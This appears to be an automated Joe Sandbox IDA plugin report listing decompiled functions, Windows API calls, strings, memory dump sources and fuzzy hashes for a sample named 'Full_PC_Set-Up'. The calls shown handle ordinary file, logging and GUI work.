API ID: ErrorLastMutexObjectReleaseSingleWait_memset
String ID: CFMappingLog::SaveAsFile WaitForSingleObject GetLastError %d
API String ID: 2043307676-87461694
Opcode ID: 55093cebd59ae42415b3ad9833796a18473a0b9b964995c81c7a4e2008f57adc
Instruction ID: 726543747e518b4500a413d477c7688ff231e9207979a7ffa60adadbaf1ccd29
Opcode Fuzzy Hash: 55093cebd59ae42415b3ad9833796a18473a0b9b964995c81c7a4e2008f57adc
Instruction Fuzzy Hash: 8D116D74A00208EFDB09DF94D895BAEBBB9AF08314F148198E5056B381C771AE91CB95

Function 002C1810 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C1836
GetModuleFileNameW.KERNEL32(00000000,00000208,00000208), ref: 002C184A
_wcsrchr.LIBCMT ref: 002C1856
CreateFileW.KERNEL32(C0000000,C0000000,00000001,00000000,00000002,00000080,00000000), ref: 002C188F

Strings

edrlog.log, xrefs: 002C185B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$CreateModuleName_memset_wcsrchr
String ID: edrlog.log
API String ID: 2276785747-2508961950
Opcode ID: a517024ca8936710bb8f056118dfd5b2cc3ad1531dd6937fe0d45975d97812e8
Instruction ID: abc4340f79c64d4cb954952905796c80a8f383319bab77e1bd8f7ce16c29e41b
Opcode Fuzzy Hash: a517024ca8936710bb8f056118dfd5b2cc3ad1531dd6937fe0d45975d97812e8
Instruction Fuzzy Hash: D401A7B06543007AE610EB20CC0BF9B73E4AF84B04F41C829B7599B1D2E6F09148875B

Function 0030D430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 0030D440

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000001,00000080,00000000,?,?,?,?,?,?,0030D262), ref: 0030D45B
GetLastError.KERNEL32(?,?,?,?,?,?,0030D262), ref: 0030D463
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,0030D262), ref: 0030D46F

Strings

%s%s, xrefs: 0030D433

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast__vswprintf_s_lswprintf
String ID: %s%s
API String ID: 1471965589-3252725368
Opcode ID: eb532662c90b4fe3a9247877dbbdb1003b701189dc6b43549615f6ec96667414
Instruction ID: 67ffecefdec682a37e0513de1f85b519eed19062f0a2c97c348c98f05de613cb
Opcode Fuzzy Hash: eb532662c90b4fe3a9247877dbbdb1003b701189dc6b43549615f6ec96667414
Instruction Fuzzy Hash: E4E0CD716832203AF57123346C0FFEF16489B01B24F524661FA51BA1D1D6E42D5505EE

Function 003123A0 Relevance: 7.9, APIs: 5, Instructions: 378COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 003123EB

Part of subcall function 0038319F: ___sbh_find_block.LIBCMT ref: 003831C8
Part of subcall function 0038319F: ___sbh_free_block.LIBCMT ref: 003831D7
Part of subcall function 0038319F: HeapFree.KERNEL32(00000000,?,00564070,0000000C,0038B0F4,00000000,?,?,00388F33,00383A97,00000000,?,00361C9B,?,00000000), ref: 00383207
Part of subcall function 0038319F: GetLastError.KERNEL32(?,?,00388F33,00383A97,00000000,?,00361C9B,?,00000000,?,002EBF38,00000090,5EBD7D5F), ref: 00383218

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ErrorFreeHeapLast___sbh_find_block___sbh_free_block__allrem
String ID:
API String ID: 396400218-0
Opcode ID: 16dfc04a02ceb6534a993f350d7bfe9c9bb5bbd81dbd9bc4a43b981af007d628
Instruction ID: e51e7db5570e505037bee7a920b915240c9ecd082c5e8829d895bdb471cf02e2
Opcode Fuzzy Hash: 16dfc04a02ceb6534a993f350d7bfe9c9bb5bbd81dbd9bc4a43b981af007d628
Instruction Fuzzy Hash: 8AD12AB55043405FC71ADF24C8406BBB7E5AF99310F148A2DF8958B383D734E9A5CB62

Function 002B3090 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 002B30F7
GetParent.USER32(?), ref: 002B3140
LoadCursorW.USER32(00000000,00007F00), ref: 002B31C4
LoadCursorW.USER32(00000000,00007F00), ref: 002B323A
GetParent.USER32(?), ref: 002B32D0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CursorLoad$Parent
String ID:
API String ID: 3896474183-0
Opcode ID: 6ca4362fbf04e594bac86cd60ca3c405b7454a771d8432860ce8b793e901aef5
Instruction ID: 286d2bb30a2a3dd699baaf1b03543748884005d7f9cf4855a9f696c8f4ca4f13
Opcode Fuzzy Hash: 6ca4362fbf04e594bac86cd60ca3c405b7454a771d8432860ce8b793e901aef5
Instruction Fuzzy Hash: 18919EB1654301AFE710DF68CC82F6BB3E9BF89740F144A29F656CB291DBB0D9508792

Function 00309660 Relevance: 7.8, APIs: 5, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b40631c034f0eaa79130390322764f3f947b05ae111a891e17768174dd6139
Instruction ID: 534296e007412d0fbc38a87a409b90fb6ce12b2836e900874e859fbe52be4585
Opcode Fuzzy Hash: 06b40631c034f0eaa79130390322764f3f947b05ae111a891e17768174dd6139
Instruction Fuzzy Hash: B7B109B5A11219EFCB08DF98D891EEEB3B5FF88314F108659F415AB396D730A901CB90

Function 00300720 Relevance: 7.7, APIs: 5, Instructions: 202windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 003008A6
InvalidateRect.USER32(?,00000000,00000001,?,?,00000000,004CB6F0,000000FF,?,002A80FC,00000000,00000000,00000000,?,00000000), ref: 003008FB
GetParent.USER32(?), ref: 0030090C
SendMessageW.USER32(?,00002215,00000000,?), ref: 0030092F
SetFocus.USER32(?,?,?,00000000,004CB6F0,000000FF,?,002A80FC,00000000,00000000,00000000,?,00000000), ref: 00300940

Part of subcall function 00367D7C: MoveWindow.USER32(?,?,?,00000000,?,002B114C,?,002B114C,?), ref: 00367D99

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$ClientFocusInvalidateMessageMoveParentSendWindow
String ID:
API String ID: 826503095-0
Opcode ID: 4384695ba05d6daeaa12c8c66b72363aa24a7908109f576edcbda63e9fb96f47
Instruction ID: 6c59569f890938bfc7bdbb28116a6bffd6ca252af683f6b3a7b09dde7ea72f33
Opcode Fuzzy Hash: 4384695ba05d6daeaa12c8c66b72363aa24a7908109f576edcbda63e9fb96f47
Instruction Fuzzy Hash: 35716F71A047019FC719DF68C895A5AB7F4FF88720F058A5DF4A99B295DB30EC00CB92

Function 00300F60 Relevance: 7.7, APIs: 5, Instructions: 198windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00300F92
ReleaseCapture.USER32 ref: 00300FA6

Part of subcall function 0036BEA8: __EH_prolog3.LIBCMT ref: 0036BEAF
Part of subcall function 0036BEA8: GetDC.USER32(00000000), ref: 0036BEDB

PtInRect.USER32(?,?,?), ref: 00301096
GetParent.USER32(?), ref: 00301186
SendMessageW.USER32(?,00002215,00000000,00000000), ref: 0030119F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Capture$H_prolog3MessageParentRectReleaseSend
String ID:
API String ID: 3402641756-0
Opcode ID: b8f73a05792d71387421ba360a749ecaa0186c93152de2c5fe03658695f4cf72
Instruction ID: d19397232d985f0829ea449b0c5b4313bc17968e49923e447aafb55e054c0eeb
Opcode Fuzzy Hash: b8f73a05792d71387421ba360a749ecaa0186c93152de2c5fe03658695f4cf72
Instruction Fuzzy Hash: 0D71AD716057418FD31AEF28C895B2AB7E4FF84320F148A1DF4A587295DB34E845CB92

Function 002C6600 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GetTextExtentPoint32W.GDI32(?,?,?,?), ref: 002C665B
OffsetRect.USER32 ref: 002C668F

Part of subcall function 00297680: CreateCompatibleDC.GDI32(00000000), ref: 002976C3
Part of subcall function 00297680: SelectObject.GDI32(?,00000000), ref: 002976DA

SelectObject.GDI32(?,?), ref: 002C67C3
OffsetRect.USER32(?,?,00000000), ref: 002C6802
SelectObject.GDI32(?,?), ref: 002C6852

Part of subcall function 00297680: SelectObject.GDI32(?,?), ref: 00297704

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ObjectSelect$OffsetRect$CompatibleCreateExtentPoint32Text
String ID:
API String ID: 3742639753-0
Opcode ID: 57118e61b8037d3efbb28911f2305c8a940ba22924ecd6c398b3592dd2a2f540
Instruction ID: ff924980ead7bb0d4d6067f0413bd47cc393fd37c5e1a78f220013476cc1bb49
Opcode Fuzzy Hash: 57118e61b8037d3efbb28911f2305c8a940ba22924ecd6c398b3592dd2a2f540
Instruction Fuzzy Hash: 1C71F3B56087409FC714DF68C985A5BBBE9FB88310F048A2DF59AC7391DB74E805CB52

Function 002B4530 Relevance: 7.7, APIs: 5, Instructions: 193COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 002B454A

Part of subcall function 003A42E0: IsWindow.USER32(?), ref: 003A42F4
Part of subcall function 003A42E0: GetClientRect.USER32(?,?), ref: 003A4304

GetClientRect.USER32(00000000,00000005), ref: 002B4659

Part of subcall function 00368047: SetWindowPos.USER32(?,?,?,?,00000001,?,?), ref: 0036806F

GetClientRect.USER32(?,00000000), ref: 002B46BE
IsWindow.USER32(?), ref: 002B46E4
GetClientRect.USER32(?,00000000), ref: 002B46FA

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ClientRectWindow
String ID:
API String ID: 2195062447-0
Opcode ID: 544d508cd85acef25a52bca1fb4833377f11bc6face5a4617430ded0ac6361f5
Instruction ID: ba8c1042a0a104769eff600894f142a8b784e2efee5b542bebaaa3e637a48aeb
Opcode Fuzzy Hash: 544d508cd85acef25a52bca1fb4833377f11bc6face5a4617430ded0ac6361f5
Instruction Fuzzy Hash: BF614D71254701AFD315DF24CC85FABB7E4EB88744F404A1CB6959B2C5DB70E904CBA2

Function 002A9650 Relevance: 7.7, APIs: 5, Instructions: 192fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,00000080,?,?,?), ref: 002A9798
DeleteFileW.KERNEL32(?), ref: 002A97A2
SetFileAttributesW.KERNEL32(?,00000080,?,?,?), ref: 002A97E5

Part of subcall function 0036A09D: __EH_prolog3_catch.LIBCMT ref: 0036A0A4
Part of subcall function 0036A09D: FindResourceW.KERNEL32(?,?,00000005,00000024,00295CF9,?,?,?), ref: 0036A0D7
Part of subcall function 0036A09D: LoadResource.KERNEL32(?,00000000), ref: 0036A0DF
Part of subcall function 0036A09D: LockResource.KERNEL32(?,00000024,00295CF9,?,?,?), ref: 0036A0F0

SetFileAttributesW.KERNEL32(?,00000080,?,?,?,00000000), ref: 002A98CF
DeleteFileW.KERNEL32(?,?,00000000), ref: 002A98D9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$AttributesResource$Delete$FindH_prolog3_catchLoadLock
String ID:
API String ID: 970760687-0
Opcode ID: a0af2b750e3e0616bbd5333daf722e4bf6e981b586492016521592c06f7558cf
Instruction ID: 66b4c419245dcdb8aeb46c103f9d1e6128298b9cd2bd918f125295e36bc3c67f
Opcode Fuzzy Hash: a0af2b750e3e0616bbd5333daf722e4bf6e981b586492016521592c06f7558cf
Instruction Fuzzy Hash: 5A71BC709106099FDB15CF68CC45BAEB7B8FF85320F10829AE419AB291DB746E84CF51

Function 002BCFC0 Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

Part of subcall function 002BC5B0: GetClientRect.USER32 ref: 002BC5CC
Part of subcall function 002BC5B0: OffsetRect.USER32(?,00000000,00000000), ref: 002BC60A
Part of subcall function 002BC5B0: PtInRect.USER32(?,?,?), ref: 002BC61D
Part of subcall function 002BC5B0: PtInRect.USER32(?,?,?), ref: 002BC6C2

OffsetRect.USER32(?,00000000,?), ref: 002BD0C1
InvalidateRect.USER32(?,?,00000000), ref: 002BD0D2
OffsetRect.USER32(?,00000000,?), ref: 002BD17F
InvalidateRect.USER32(?,?,00000000), ref: 002BD190
TrackMouseEvent.USER32 ref: 002BD1C7

Part of subcall function 002BC440: PtInRect.USER32(?,?,?), ref: 002BC48A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Offset$Invalidate$ClientEventMouseScrollTrack
String ID:
API String ID: 2963500650-0
Opcode ID: 8379c480d20222cb0e34b122669a34be1d4f426ca37bcabcefd310c2f90e176c
Instruction ID: 5929576d813b3fbfda457b2bca9f0b61723ecc7e4a73dcd2d0786bd8fe367a61
Opcode Fuzzy Hash: 8379c480d20222cb0e34b122669a34be1d4f426ca37bcabcefd310c2f90e176c
Instruction Fuzzy Hash: 706116B1518300AFC344DF28C881A6ABBF9FB88750F544A2EF99987394D775E911CB92

Function 002A0990 Relevance: 7.7, APIs: 5, Instructions: 169windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

CreateCompatibleBitmap.GDI32(?,?,?), ref: 002A0A40
CreateCompatibleDC.GDI32(?), ref: 002A0A64
OffsetRect.USER32(?,00000000,00000000), ref: 002A0AC3
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 002A0AF2
GetSysColor.USER32(00000016), ref: 002A0B2F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
